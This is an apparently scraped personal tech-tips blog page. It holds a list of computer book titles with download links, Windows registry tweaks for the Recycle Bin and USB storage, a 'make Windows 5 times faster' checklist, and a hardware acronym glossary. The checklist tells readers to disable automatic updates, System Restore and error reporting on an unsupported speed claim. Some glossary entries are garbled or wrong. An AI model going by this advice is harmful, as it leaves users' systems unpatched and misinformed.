Teach yourself oracle 8 in 21 days

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

207

Teach yourself perl 5 in 21 days

http://www.parsian.net/set1252/pages/books.htm

208

Teach yourself perl 5 in 21 days, 2nd.ed.

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

209

Teach yourself SQL in 21 days

http://www.parsian.net/set1252/pages/books.htm

210

Teach yourself SQL in 21 days, 2nd.ed.

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

211

Teach yourself TCP/IP in 14 days

http://www.parsian.net/set1252/pages/books.htm

212

Teach yourself TCP/IP in 14 days, 2nd.ed.

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

213

Teach yourself the Internet in 24 hours

http://www.parsian.net/set1252/pages/books.htm

214

Teach yourself the internet in 24 hours

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

215

Teach yourself _VBScript in 21 days

http://www.parsian.net/set1252/pages/books.htm

216

Teach yourself _VBScript in 21 days

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

217

Teach yourself visual basic 5 in 24 hours

http://www.parsian.net/set1252/pages/books.htm

218

Teach yourself Visual Basic 5 in 24 hours

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

219

Teach yourself Visual J++ in 21 days

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

220

Teach yourself web publishing with HTML 3.2 in 14 days

http://www.parsian.net/set1252/pages/books.htm

221

Teach yourself web publishing with HTML in 14 days

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

222

Thinking in C++

http://www.mindview.net/Books

223

Thinking in C++/Eckel, Bruce - Vol.I, 2nd.ed.

www.oopweb.com

224

Thinking in C++/Eckel, Bruce - Vol.II, 2nd.ed.

www.oopweb.com

225

Thinking in Enterprise Java

http://www.mindview.net/Books

226

Thinking in Java, 2nd.ed.

www.oopweb.com

227

Thinking in Java, 3rd.ed. (pdf)

http://www.mindview.net/Books

228

Tricks of the internet gurus

http://www.parsian.net/set1252/pages/books.htm

229

Tricks of the java programming gurus

http://www.parsian.net/set1252/pages/books.htm

230

Unix and internet security

http://www.hk8.org/old_web/

231

Unix hints and hacks/Waingrow, Kirk

http://book.onairweb.net/computer/os/unix/Administration/UNIX_Hints_&_Hacks/19270001..htm

232

Unix in a nutshell

http://www.hk8.org/old_web/

233

Unix kornshell quick reference

http://book.onairweb.net/computer/os/shell/Unix_KornShell_Quick_Reference/kornShell.html

234

Unix power tools

http://www.hk8.org/old_web/

235

Unix shell guide

http://book.onairweb.net/computer/os/shell/The_UNIX_Shell_Guide/

236

Unix unleashed

http://www.parsian.net/set1252/pages/books.htm

237

Unix unleashed

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

238

Unix unleashed Internet Ed./Burk, Robin

http://book.onairweb.net/computer/os/unix/Administration/UNIX_Unleashed(Internet_Edition)/fm.htm

239

Unix unleashed, System administrator's Edition

http://book.onairweb.net/computer/os/unix/Administration/UNIX_Unleashed_System_Administrator's_Edition/toc.htm

240

Unix Unleashed/Sams Publication

http://book.onairweb.net/computer/os/unix/Administration/UNIX_Unleashed/

241

Upgrading PCs illustrated

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

242

Using windows NT workstation 4.0

http://www.parsian.net/set1252/pages/books.htm

243

_VBScript unleashed

http://www.parsian.net/set1252/pages/books.htm

244

_Vbscript unleashed

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

245

Visual basic 4 in 12 easy lessons

http://www.parsian.net/set1252/pages/books.htm

246

Visual basic 4 unleashed

http://www.parsian.net/set1252/pages/books.htm

247

Visual Basic 5 night school

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

248

Visual basic programming in 12 easy lessons

http://www.parsian.net/set1252/pages/books.htm

249

Visual Basic programming in 12 easy lessons

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

250

Visual C++ 4 unleashed

http://www.parsian.net/set1252/pages/books.htm

251

Visual C++ programming in 12 easy lessons

http://www.parsian.net/set1252/pages/books.htm

252

Web database developer's guide with visual basic 5

http://www.parsian.net/set1252/pages/books.htm

253

Web database developer's guide with visual basic 5

http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/

254

Web programming desktop reference 6-in-1

http://www.parsian.net/set1252/pages/books.htm

2010-04-02T08:24:00.000-07:00

Deleting recycle bin

I Method

[Start] [Run] [Regedit]

Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BitBucket

Modify/Create the Value Data Type(s) and Value Name(s) as detailed below.

Data Type: DWORD // Value Name: NukeOnDelete

Setting for Value Data: [0 = Use Recycle Bin / 1 = Permanently Delete]

Exit Registry and Reboot

Method II

start->run->gpedit.msc-> user configuration ->Administrative Templates->desktop->remove recycle bin from desktop->double click->change it not configured to enable->apply and ok.

now come to start->run->gpupdate.exe and press enter.

your recycle bin icon is gone from desktop nad you will need to revert your settings for get that back.

after reverting setting make sure to run gpupdate.exe command.
Read

2010-04-02T08:20:00.001-07:00

Disabling detection of USB storage device (Pendrive)

Many official users are worried for unauthorized access through USB storage devices like pen drive (USB HDD and others) .Sometimes in the offices, your office members implement viruses and access your secured data through USB storage device. Generally this unpleasant incident is detrimental for the Software programmers and designers.

To solve this issue implement these steps:

1. Click Start ? Run and type regedit.

2. Scroll Down to following registry keys-

[HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet \Services\UsbStor]
3.Double click ?start
4. Set value data: 4 as mentioned above, to activate service of USB DISABLING mode and then restart your computer or logoff and then logon on your system.

5. For deactivation Set value data : 3 then restart your computer or logoff and then logon on your system.

Posted by badri

2010-04-02T08:12:00.001-07:00

sdf sdf aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

2010-03-31T05:46:00.001-07:00

This tutorial will teach you how to increase your operating system speed 5 times faster.
This step should be applied by either slow or fast computers. it will speed up your operating system surfing.
there are 28 easy steps. it might take a bit long to apply them all especially if you're not familiar with windows registry, but trust me it worth it.

Ok now here it goes..read carefully...coz i wont accept any questions about it...

1. Processor scheduling should be set to background services and not Programs.
Start > Settings > Control Panel > System > Advanced > Performance Settings > Advanced Tab > Background Services

2. Visual effects should be set to a minimum.
Start > Settings > Control Panel > System > Advanced > Performance Settings > Visual Effects Tab > Adjust for best performance

3. Switch Off Desktop Background Image
Right Click Desktop > Properties > Desktop Tab > Background None

4. Disable Screen Saver
Right Click Desktop > Properties > Screen Saver > None

5. Disable Fast User Switching
Start > Settings > Control Panel > User Accounts > Change the way users log on or off > Untick Use Fast User Switching

6. Switch Off Power Schemes
Start > Settings > Control Panel > Power Options > Always On > Turn off monitor and turn off hard discs to Never

7. Switch Off Hibernation
Start > Settings > Control Panel > Power Options > Hibernate > Untick Hibernation

8. Activate DMA on Hard Discs/CD ROMS
Start > Settings > Control Panel > System > Hardware > Device Manager > IDE ATA/ATAPI Controllers > Right Click Primary IDE channel and Secondary IDE channel > Properties > Advanced Settings Tab > Tra

9. Disable System Sounds
Start > Settings > Control Panel > Sounds and Audio Devices > Sounds Tab > Sound Scheme to None.

10. Do Not Map Through Soundcard
Start > Settings > Control Panel > Sounds and Audio Devices > Hardware Tab > (highlight your soundcard from the list) > Properties > Audio Devices > (highlight your soundcard from the list) > Properti

11. Disable System Restore
Start > Settings > Control Panel> System > System Restore Tab. Tick the "Turn off System Restore on all Drives"

12. Disable Automatic Updates
Start > Settings > Control Panel> System > Automatic Updates > Turn off automatic updating. I want to update my computer manually

13. Startup and Recovery Options
Start > Settings > Control Panel> System > Advanced > Startup and Recovery Settings > Untick Automatically Restart

14. Disable Error Reporting
Start > Settings > Control Panel> System > Advanced > Error Reporting > Disable Error Reporting

15. Disable Remote Assistance
Start > Settings > Control Panel> System > Remote > Untick Allow remote assistance invitations to be sent from this computer

16. Fix Swap File (Virtual Memory)
Start > Settings > Control Panel > System > Advanced > Performance Settings > Advanced > Virtual Memory Change > Custom Size. Set initial and maximum size to the same value

17. Speed Up Menus
Start > Run > Regedit > HKEY_CURRENT_USER > Control Panel > Desktop Folder. Set MenuShowDelay to 1

18. Disable Offline Files
Start > Settings > Control Panel > Folder Options > Offline Files Untick "Enable Offline Files"

19. Disable Remote Desktop
Start > Settings > Control Panel > System > Remote > Untick "Allow users to connect remotely to this computer"

20. Disable Internet Synchronise Time
Start > Settings > Control Panel > Date and Time > Internet Time > Untick "Automatically synchronize with internet time server"

21. Disable Hide Inactive Icons
Start > Settings > Taskbar and Start Menu > Taskbar TAB > Uncheck "Hide Inactive Icons"

22. Disable Automatic Desktop Cleanup Wizard
Start > Settings > Control Panel > Display > Desktop > Customise Desktop > Untick "Run Desktop Cleanup Wizard every 60 days"

23. Disable NTFS Last Access Time Logging (NTFS File Systems Only)
Start > Run > regedit > HKEY_LOCAL_MACHINE > System > CurrentControlSet > Control > Filesystem. Add a new DWORD value - "NtfsDisableLastAccessUpdate" and set value to 1.

24. Disable Notification Area Balloon Tips
Start > Run > regedit > HKEY_CURRENT_USER > Software > Microsoft > Windows > CurrentVersion > Explorer > Advanced. Create a new DWORD value called EnableBalloonTips and set to 0.

25. Disable CDROM Autoplay
Start > Run > regedit > HKEY_LOCAL_MACHINE > System > CurrentControlSet > Services > Cdrom. Set autorun to 0.

26. Disable Disc Indexing Service
Right Click Start > Explorer > Right Click Each Disc > Properties > Untick "Allow Indexing Service to index this disc for fast file searching"

27.Restart ur pc...enjoy!!!

From:

www.computerzone2010.blogspot.com

Zone.computer2010@gmail.com

Badri……….

Computer Glossary (Must See)

2010-03-30T05:09:00.001-07:00

Computer Glossary, Acronyms, and Abbreviations

1394 class	The class of filters that provide a bus interface and bus enumerator for the IEEE 1394 bus. Firewire
A
ABR	available bit rate
AC-3	An audio standard for delivering 5.1 audio developed by Dolby Laboratories. This system compresses six channels of digital audio into 384 Kbps versus 4 Mbps uncompressed.
ACE	access control entry
ACK	acknowledgment signal
ACL	access control list
ACPI	Advanced Configuration and Power Interface. A specification that defines a new interface to the system board that enables the operating system to implement operating-system directed power management and system configuration. Following the ACPI allows system manufacturers to build systems consistent with the OnNow design initiative for instantly available PCs.
ACPI hardware	Computer hardware with the features necessary to support operating system power management and with the interfaces to those features described using the Description Tables as specified in Advanced Configuration and Power Interface Specification.
ACPI Name Space	A hierarchical tree structure in operating-system-controlled memory that contains named objects. These objects can be data objects, control method objects, bus and device package objects, and so on. All the information in the ACPI Name Space comes from the Differentiated System Description Table.
adapter	See device.
adaptive compression	Data compression software that continually analyzes and compensates its algorithm, depending on the type and content of the data and the storage medium.
add-on devices	Devices that are traditionally added to the base PC system to increase functionality, such as audio, networking, graphics, SCSI controller, and so on. Add-on devices fall into two categories: devices built onto the system board and devices on expansion cards added to the system through a system board connector such as PCI.
ADPCM	Adaptive Differential Pulse Code Modulation. An encoding format for storing audio information in a digital format.
ADSL	Asymmetric Digital Subscriber Line. A method for moving data over regular phone lines. An ADSL circuit is much faster than a regular phone connection, and the wires coming into the subscriber's premises are the same (copper) wires used for regular phone service.
ADT	attribute definition table
AEC	acoustic echo cancellation
AEC	Acoustic echo cancellation.
agent	Software that runs on a client computer for use by administrative software running on a server. Agents are typically used to support administrative actions, such as detecting system information or running services.
AGP	Accelerated Graphics Port
AID	analog-to-digital
algorithm	In compression software, refers to a specific formula used to compress or decompress video or other data.
AML	ACPI Machine Language. Pseudocode for a virtual machine supported by an ACPI-compatible operating system and in which ACPI control methods are written. The AML encoding definition is provided in section 16 of the Advanced Configuration and Power Interface Specification.
analog video	A video signal that represents an infinite number of smooth gradations between given video levels. Compare with digital video.
analog	A method of signal representation by an infinitely smooth universe of numeric values. Measurements that are characterized as analog include readings of voltage and current. Analog devices are characterized by dials and sliding mechanisms. Compare with digital.
Anamorphic	Unequally scaled in vertical and horizontal dimensions.
ANSI	American National Standards Institute. A standards-setting, non-governmental organization that develops and publishes standards for voluntary use in the United States.
anti-aliasing	A form of interpolation used in graphics display technology when combining images; pixels along the transitions between images are averaged to provide a smooth transition.
AOAC	always on/always connected
AP	access point
APC	asynchronous procedure call
API	Application programming interface. A set of routines that an applications program uses to request and carry out lower-level services performed by a computer operating system.
APM	Advanced Power Management. 1. A software interface (defined by Microsoft and Intel) between hardware-specific power management software (such as that located in a system BIOS) and an operating system power management driver. 2. An abridgment of the APM BIOS Interface Specification title.
arbitrator	1. A software module in Windows that handles the allocation of hardware resources among devices. 2. Under Windows 95, the Plug and Play device driver responsible for allocating a specific resource among all drivers that require the resource. For example, VDMAD is a DMA-channel arbitrator, and VPICD has services for allocating IRQ lines. Windows 95 provides arbitrators for standard I/O, memory, hardware interrupt, and DMA-channel resources.
ARC	Advanced RISC Computing
architecture	A general term referring to the structure of all or part of a computer system. Also covers the design of system software, such as the operating system, as well as referring to the combination of hardware and basic software that links machines on a computer network.
ARP	address resolution protocol
artifact	An unintended, unwanted visual aberration in a video image.
ASCII	American Standard Code for Information Interchange. The most popular coding method used by small computers for converting letters, numbers, punctuation, and control codes into digital form.
ASIC	Application-specific integrated circuit.
ASL	ACPI Source Language. The programming language equivalent for AML. ASL is compiled into AML images. The ASL statements are defined in section 15 of the Advanced Configuration and Power Interface Specification.
aspect ratio	The relationship of width and height. When an image is displayed on different screens, the aspect ratio must be kept the same to avoid either vertical or horizontal stretching.
ASPI	Advanced SCSI Programming Interface
assigned configuration	Drivers examine this portion of the device node to determine which resources have been allocated for the device. For Plug and Play cards, the assigned resources for a device can change dynamically or from one system start-up to the next.
ASVD	analog simultaneous voice/data
asymmetrical compression	A system that requires more processing capability to compress than to decompress an image. It is typically used for the mass distribution of programs on media such as CD-ROM, where significant expense can be incurred for the production and compression of the program, but the playback system must be low cost. Compare with symmetrical compression.
asynchronous	An operation that proceeds independent of any timing mechanism, such as a clock. Compare with synchronous.
AT IIBM	registered trademark for PC/AT
ATA	AT Attachment. An integrated bus usually used between host processors and disk drives. Used interchangeably with IDE.
ATAAT	Attachment
ATAPI	AT Attachment Packet Interface. A hardware and software specification that documents the interface between a host computer and CDROM drives using the ATA bus.
ATM	Asynchronous transfer mode. A transmission protocol that segments user traffic into small, fixed size units called cells, which are transmitted to their destination, where they are reassembled into the original traffic. During transmission, cells from different users may be intermixed asynchronously to maximize utilization of network resources.
audio class	The class of filters that deals with pulse code modulation or similar digitized data or analog signals. A WDM audio minidriver provides support for audio devices under the WDM digital audio architecture.
audio mixing	The method of combining multiple streams of audio data into a single stream through some method such as addition and clipping.
AVD	alternating voice/data
AVI	audio-visual interface
B
bandwidth	Usually used in reference to the amount of data per unit of time that must move from one point to another, such as from CD-ROM to processor.
BAR	base address register
BDC	backup domain controller
BDK	Business Development Kit
BIOS	Basic input/output system. A set of routines that works closely with the hardware to support the transfer of information between elements of the system, such as memory, disks, and the monitor. Although critical to performance, the BIOS is usually invisible to the end user; however, programmers can access it.
BIOS enumerator	Responsible in a non-ACPI Plug and Play system for identifying all hardware devices on the motherboard of the computer. The BIOS supports an API that allows all Plug and Play computers to be queried in a common manner.
bit map	Representation of characters or graphics by individual pixels arranged in rows (horizontal) and columns (vertical). Each pixel can be represented by either 1 bit (simple black and white) or up to 3 2 bits (high-definition color).
bit specifications	Number of colors or levels of gray that can be displayed at one time. Controlled by the amount of memory in the computer's graphics controller card. An 8-bit controller can display 256 colors or levels of gray; a 16-bit controller, 64,000 colors; and a 24-bit controller, 16.8 million colors.
bit-mapped graphics	Images created with matrices of pixels or dots. Also raster graphics.
blt	block transfer
BOOTP	bootstrap protocol
BPC	Broadcast PC
bpp	Bits per pixel. The number of bits used to represent the color value of each pixel in a digitized image.
bps	Bits per second. The number of bits transferred per second in a data communications system. A measure of speed.
BRI	basic rate interface
brightness	The value associated with a pixel, representing its gray value from black to white.
broadcast architecture	The set of technologies that enable PCs to receive broadcast data.
BSD	Berkeley Software Distribution (UNDC)
buffer	A reserved portion of memory in which data is temporarily held pending an opportunity to complete its transfer to or from a storage device or another location in memory.
bus enumerator	In a Plug and Play system, a bus device driver that detects devices located on a specific bus and loads information about devices into the hardware tree.
C
CA	Computer Associates International, Inc.
cache	A special memory subsystem in which frequently used data values are duplicated for quick access. Cache memory is always faster than RAM.
CAD	computer aided design
CAM	common Access Method
Card Services	Under Windows 95, a protected mode system component that is a VxD linked with the PCMCIA bus driver. Card Services passes the event notification from socket services to the PCMCIA bus driver, provides information from the computer's cards to the PCMCIA bus driver, and sets up the configuration for cards in the adapter sockets.
CBQ	class-based queuing
CBT	computer based training
CCITT	Comite Consultatif Internationale de Telegraphie et Telephonie (Consultative Committee for International Telephone and Telegraph). An international standards organization dedicated to creating communications protocols that will enable global compatibility for the transmission of voice, data, and video across all computing and telecommunications equipment.
CCP	compression control protocol
CD	compact disc
CD-I	Compact Disc Interactive. A compact disc format (developed by NV Philips and Sony Corporation) that provides audio, digital data, still graphics, and limited-motion video.
CDB	command descriptor blocks
CDFS	Compact disc file system. Controls access to the contents of CD-ROM drives.
CD-I	Compact Disc Interactive
CDMA	code-division multiple access
CD-R2	Physical format for CD read-only
CD-ROM	Compact disc read-only memory. A 4.75 -inch laser-encoded optical memory storage medium (developed by NV Philips and Sony Corporation) with the same constant linear velocity (CLV) spiral format as compact audio discs and some videodiscs. CD-ROMs can hold about 550 MB of data.
CE	consumer electronics
CHAP	challenge handshake authentication protocol
chroma, chrominance	1. The color portion of the video signal that includes hue and saturation information. Requires luminance, or light intensity, to make it visible. 2. Hue is defined as tint. Saturation indicates the degree to which the color is diluted by luminance (or by white light). Compare with luminance.
CHS	cylinder head sector
CI	Component Instrumentation
CIE	Commission International de I'Eclairage. The international commission on illumination. Developer of color matching systems.
CIM	Common Information Model
CINF	check (modem) INF tool
CIS	Card information structure.
CISC	complex instructions set computers
Cl	Component Instrumentation. A specification for DMI related to the service layer.
class	For hardware, the manner in which devices and buses are grouped for purposes of installing and managing device drivers and allocating resources. The hardware tree is organized by device class, and Windows 95 uses class installers to install drivers for all hardware classes.
class driver	A driver that provides system required hardware-independent support for a given class of physical devices. Such a driver communicates with a corresponding hardware dependent port driver, using a set of system-defined device control requests, possibly with additional driver-defined device control requests. Under WDM, the class driver creates a device object to represent each adapter registered by minidrivers. The class driver is responsible for multiprocessor and interrupt synchronization.
CMOS	complementary metal-oxide semiconductor
CMP	connection management protocol
CMYK	Cyan-magenta-yellow-black. A mixing model or method of describing colors used with many printing systems. Uses subtractive primaries, starting with white and subtracting percentages of cyan (blue), magenta (red), and yellow to yield desired colors.
codec	Coder-decoder. A filter for data that manipulates it in some form, usually by compressing or decompressing the data stream.
color keying	To superimpose one image over another for special effects.
COM	1) Component Object Model; the core of OLE. Defines how OLE objects and their clients interact within processes or across process boundaries. 2) Legacy serial port.
compatibility mode	An asynchronous, host-to peripheral parallel port channel defined in the IEEE 1284-1944 standard. Compatible with existing peripherals that attach to the Centronics-style PC parallel port.
composite video	A signal that combines the luminance, chrominance, and synchronized video information onto a single line. This has been the most prevalent NTSC video format.
compressed video	A digital video image or segment that has been processed using a variety of computer algorithms and other techniques to reduce the amount of data required to accurately represent the content and thus the space required to store the content.
compression	The translation of data (video, audio, digital, or a combination) to a more compact form for storage or transmission.
concatenate	To join sequentially.
Configuration Manager	The Windows 95 Plug and Play system component that drives the process of locating devices, setting up their nodes in the hardware tree, and running the resource allocation process. Each of the three phases of configuration management-boot time (BIOS), real mode, and protected mode-have their own configuration managers.
connection	A negotiated method of communication between devices, whether implemented in hardware or software.
contrast	The range of light and dark values in a picture; or a measure of brightness content in an image. The range between the lightest tones and the darkest tones in an image.
control method	A definition of how an ACPI compatible operating system can perform a simple hardware task. For example, the operating system invokes control methods to read the temperature of a thermal zone. Control methods are written in an encoded language called AML. An ACPI compatible system must provide a minimal set of control methods in the ACPI tables. The operating system provides a set of well-defined control methods that ACPI table developers can reference in their control methods.
controllerless modem	Also host-based controller. A modem that consists of a DSP without the usual microcontroller. The host CPU provides the AT command interpreter, modem-control functions, and v.42bis implementation. Compare with software modem.
convergence	In an RGB monitor, where red, green, and blue signals all converge in one pixel. At full convergence, the RGB pixel would be white.
CPU	Central processing unit. The computational and control unit of a computer; the device that interprets and executes instructions. By definition, the CPU is the chip that functions as the "brain" of the computer.
CRC	cyclic redundancy check
CSA	Connection and Streaming Architecture. Kernel-mode streaming in WDM.
CSEL	Cable Select
CSN	Card Select Number
CSN	Card Select Number. The handle created by the system BIOS or the operating system through the isolation process and assigned as a unique identifier to each Plug and Play card on the ISA bus.
CSR	command and status register
CTS	Clear To Send
D
DAA	data access arrangement
DAC	digital-to-analog converter
DARPA	Defense Advanced Research Project Agency
DASD	direct access storage device
DAT	Digital audio tape. A consumer recording and playback media for high-quality audio.
data rate	The speed of a data transfer process, normally expressed in bits per second or bytes per second.
dbr	decibels above reference noise
DBS	Digital Broadcast Service/System/satellite
DC	device context
DCD	Data Carrier Detect
DCE	Data Communications Equipment
DCI	Display Control Interface
DCOM	Distributed Component Object Model
DDC	Display data channel. The Plug and Play baseline for monitors. The communications channel between a monitor and the display adapter to which it is connected. This channel provides a method for the monitor to convey its identity to the display adapter.
DDE	dynamic data exchange
DDI	Device driver interface.
DDK	Device driver kit.
DDL	data definition language
DDML	Display Driver Management Layer
DDN	Defense Data Network
decompression	To reverse the procedure conducted by compression software, and thereby return compressed data to its original size and condition.
density	The degree of darkness of an image. Also, the percent of screen used in an image.
device	1. Any circuit that performs a specific function, such as a parallel port. 2. For WDM, usually refers to a device object but also refers to a unit of hardware-for example, an audio adapter that is detected by Plug and Play.
Device Bay	An industry specification that defines a mechanism for both peripheral devices and system bays that allows adding and upgrading PC peripheral devices without opening the chassis.
device ID	A unique ASCH string created by enumerators to identify a hardware device and used to cross-reference data about the device stored in the registry. Distinguishes each logical device and bus from all others on the system.
device node	The basic data structure for a given device, built by the Configuration Manager. Device nodes are built into memory at system startup for each device and enumerator. Each device node contains information about the device, such as currently assigned resources. The complete hierarchical representation of all device nodes, representing all currently installed devices, is referred to as the hardware tree.
device object	A kernel-mode-only object type used to represent a physical, logical, or virtual device whose driver has been loaded into the system.
devnode	See device node.
DHCP	Dynamic Host Configuration Protocol
DIB	Device-independent bitmap. A file format designed to ensure that bitmap graphics created using one application can be loaded and displayed in another application exactly the way they appeared m the originating application.
digital	A method of signal representation by a set of discrete numerical values, as opposed to a continuously fluctuating current or voltage. Compare with analog.
digital video	A video signal represented by computer-readable binary numbers that describe a finite set of colors and luminance levels. Compare with analog video.
digitization	The process of transforming analog video signal into digital information.
DIP	dual in-line package
Dir-sync	See DSS.
disk I/O controller	Also HDC. A special-purpose chip and circuitry that directs and controls reading from and writing to a computer's disk drive.
DLC	Data Link Control
DLL	Dynamic link library. API routine that User mode applications access through ordinary procedure calls. The code for the API routine is not included in the user's executable image. Instead, the operating system automatically modifies the executable image to point to DLL procedures at run time.
DLS	Distributed Link Services
DMA	Direct memory access. A method of moving data from a device to memory (or vice versa) without the help of the microprocessor. The system board uses a DMA controller to handle a fixed number of channels, each of which can be used by only one device at a time.
DMI	Desktop Management Interface. A framework created by the DMTF. DMTF specifications define industry-standard interfaces for instrumentation providers and management applications.
DMTF	Desktop Management Task Force.
DNS	Domain Name System
dock	To insert a portable computer into a base unit. Cold docking means the computer must begin from a power-off state and restart before docking. Hot docking means the computer can be docked while running at full power. See also warm docking.
docking station	The base computer unit into which a user can insert a portable computer, expanding it to a desktop equivalent. A typical docking station provides drive bays, expansion slots, all the ports on an equivalent desktop computer, and AC power.
dongle	A physical device, attached to a PC's I/O port, that adds hardware capabilities.
DOS	disk operating system
DPC	Deferred procedure call. Method used in Windows NT for event scheduling.
DPI	dots per inch
DPMI	DOS Protected Mode Interface
DPMS	Display Power Management Signaling
DRAM	Dynamic Random Access Memory
driver	Kernel-mode code used either to control or emulate a hardware device.
driver stack	Device objects that forward IRPs to other device objects. Stacking always occurs from the bottom up and is torn down from the top.
DS	Directory Services
DSE	development software engineer
DSL	Digital Subscriber Line
DSLAM	DSL Access Multiplexer
DSP	Digital signal processor. An integrated circuit designed for high-speed data manipulations. Used in audio communications, image manipulation, and other data-acquisition and data-control applications.
DSS	Microsoft Mail directory synchronization (dir-sync) server
DSVD	digital simultaneous voice/data
DTMF	dual tone multifrequency
DTR	Data Terminal Ready
DVD	Optical disk storage that encompasses audio, video, and computer data.
dynamic detection	The process by which a system can detect that a new device has been added or removed from the PC. This process allows the operating system and applications to immediately begin using the added devices or stop using the removed devices without rebooting the system.
E
EA	extended attributes
ECC	error correction code
ECP	extended capabilities port
ECP	Extended capabilities port. An asynchronous, 8-bit-wide parallel channel defined by IEEE 12841944 that provides PC-to-peripheral and peripheral to-PC data transfers.
ECR	engineering change request (for PCI)
EDID	Expended Display Identification Data
EDO DRAM	Short for Extended Data Output Dynamic Random Access Memory, a type of DRAM that is faster than conventional DRAM. Unlike conventional DRAM, which only allows one byte to be read at a time, EDO DRAM can copy an entire block of memory to its internal cache. While the processor is accessing this cache, the memory can collect a new block to send. Note that EDO DRAM is faster than conventional DRAM only if the cache controller supports a transfer mode known as pipeline burst. Nearly all PCs that support EDO DRAM are equipped with such a controller.
EE	Eastern European
EET	enhanced environment technology
EIA	Electronics Industries Association
EIDE	Enhanced Integrated Device Electronics
EISA	Extended Industry Standard Architecture. A 32-bit PC expansion bus designed as a superset of the ISA bus. Designed to expand the speed and data width of the legacy expansion bus while still supporting older ISA cards.
EMB	extended memory block
embedded controller	The general class of microcontrollers used to support OEM-specific implementations, mainly in mobile environments. The embedded controller performs complex low-level functions through a simple interface to the host microprocessor(s).
embedded controller interface	ACPI defines a standard hardware and software communications interface between an operating system driver and an embedded controller-for example, Smart Battery and AML code. This allows any operating system to provide a standard driver that can directly communicate with an embedded controller in the system, thus allowing other drivers to communicate with and use the resources of system embedded controllers.
EMF	enhanced metafile
enumeration	The process by which logical devices and buses, and their available resources, are identified by Plug and Play during system setup.
enumerator	A Plug and Play device driver that detects devices below its own device node, creates unique device IDs, and reports to Configuration Manager during startup. For example, a SCSI adapter provides a SCSI enumerator that detect devices on the SCSI bus.
EPP	extended parallel port
ESCD	Link to information
ESDI	Enhanced Small Device Interface
event set	A uniquely identified set that represents a group of items about which a client can be notified.
expansion bus	A group of address, data, and control lines that provide a buffered interface to devices located either on the system board or on cards that are plugged into expansion connectors. Common expansion buses included on the system board are USB, PC Card, and PCI.
expansion card	A card that connects to an expansion bus and contains one or more devices.
expansion ROM	See option ROM.
F
FAT	File allocation table. A table or list maintained by an operating system to keep track of the status of various segments of disk space used for file storage.
FC-AL	Fibre Channel Arbitrated Loop
FCB	file control block
FCP	function control protocol
FDC	Floppy disk drive controller. A special purpose chip and associated circuitry that directs and controls reading from and writing to a computer's disk drive.
FDDI	Fiber Distributed Data Interface
field	One half of a television picture. One complete vertical scan of the picture, containing 262.5 lines. Two fields make a complete television picture (frame). The lines of field 1 are vertically interlaced with the lines of field 2 for 525 lines of resolution.
FIFO	First in/first out. A method for processing a queue m which items are removed in the same order they were added.
filters	Atomic components that provide the basic building blocks for processing data. Under the WDM Stream architecture, also known as a functional device or multimedia processing driver. Each filter's capability is described in put by a number of connection points called pins. Each pin can consume, produce, or both consume and produce a data stream such as digital audio. Specialized tasks can be solved by connecting filters by way of their pins into a topology-for example, to play filtered and mixed audio. Under WDM, a filter is implemented as a kernel-mode entity that is a device object usually implemented by a kernel driver. Under ActiveMovie, a filter is a User-mode entity that is an instance of a COM object, usually implemented by a DLL.
FM	frequency modulation
FPM	Fast page mode (DRAM).
fps	Frames per second.
FQDN	fully qualified domain name
FR	frame relay
frame	A single screw-sized image that can be displayed in sequence with other slightly different images to create animated drawings. A video frame consists of two interlaced fields of either 525 lines (NTSC) or 625 lines (PAL/SECAM), running at 30 frames per second (NTSC) or 25 frames per second (PAL/SECAM). Film runs at 24 frames per second
FRS	File Replication Service
FSD	file system driver
FTP	file transfer protocol
FTS	fault tolerance system
full duplex	In terms of data flow, indicates bi-directional data flow.
full-motion video	Video reproduction at 30 frames per second (NTSC-original signals) or 25 frames per second (PAL-original signals). See also frame.
functional device	See filters.
G
GAL	Global Address List
GB	Gigabyte.
GDI	Graphics Device Interface
GDT	Global Descriptor Table
GIF	Graphics Interchange Format
GP	general protection
gray scale	The spectrum (range) of shades of black that an image has.
GSM	global system for mobile communications
GUI	graphical user interface
GUID	Globally unique identifier. A 16-byte value generated from the unique identifier on a adapter, the current date and time, and a sequence number. This is used to allow any party to create identifiers that will be guaranteed not to overlap with other similarly created identifiers.
H
HAL	hardware abstraction layer
hardware branch	The hardware archive root key in the registry that is a superset of the memory resident hardware tree. Although the hardware tree contains information only about those devices currently detected and running the system, the registry contains a complete list of all hardware ever installed on the particular computer. The hardware root key is \\\Hkey_Local_Machine\Hardware.
hardware tree	A record in RAM of the current system configuration based on the configuration information for all devices in the hardware branch of the registry. The hardware tree is created each time the system is started or whenever a dynamic change occurs to the system configuration.
HCI	Host controller interface. System-level interface supporting USB.
HCL	Hardware Compatibility List. See WHQL.
HCT	Hardware Compatibility Tests. A suite of tests from WHQL to verify hardware and device driver operations under a specific operating environment. These tests exercise the combination of a device, a software driver, and an operating system under controlled conditions to verify that all components operate properly.
HDC	Hard disk I/O controller.
HDLC	high-level data link control
HDTV	High-definition TV. A proposed standard that recommends doubling the current 525 lines per picture to 1050 lines, and increasing the screen aspect ratio (that is, width to height) from the current 12:9 to 16:9, which would create a television screen shaped more like a movie screen.
HFC	hybrid fiber-coax
HID	Human Interface Device
high resolution	An adjective describing improvement in display image quality as a result of increasing the number of pixels per square inch.
HMA	high-memory area
HMOM	Hypermedia Object Manager
HPFS	high-performance file system
HSB	Hue-saturation-brightness. With the HSB model, all colors can be defined by expressing their levels of hue (the pigment), saturation (the amount of pigment), and brightness (the amount of. white included), in percentages.
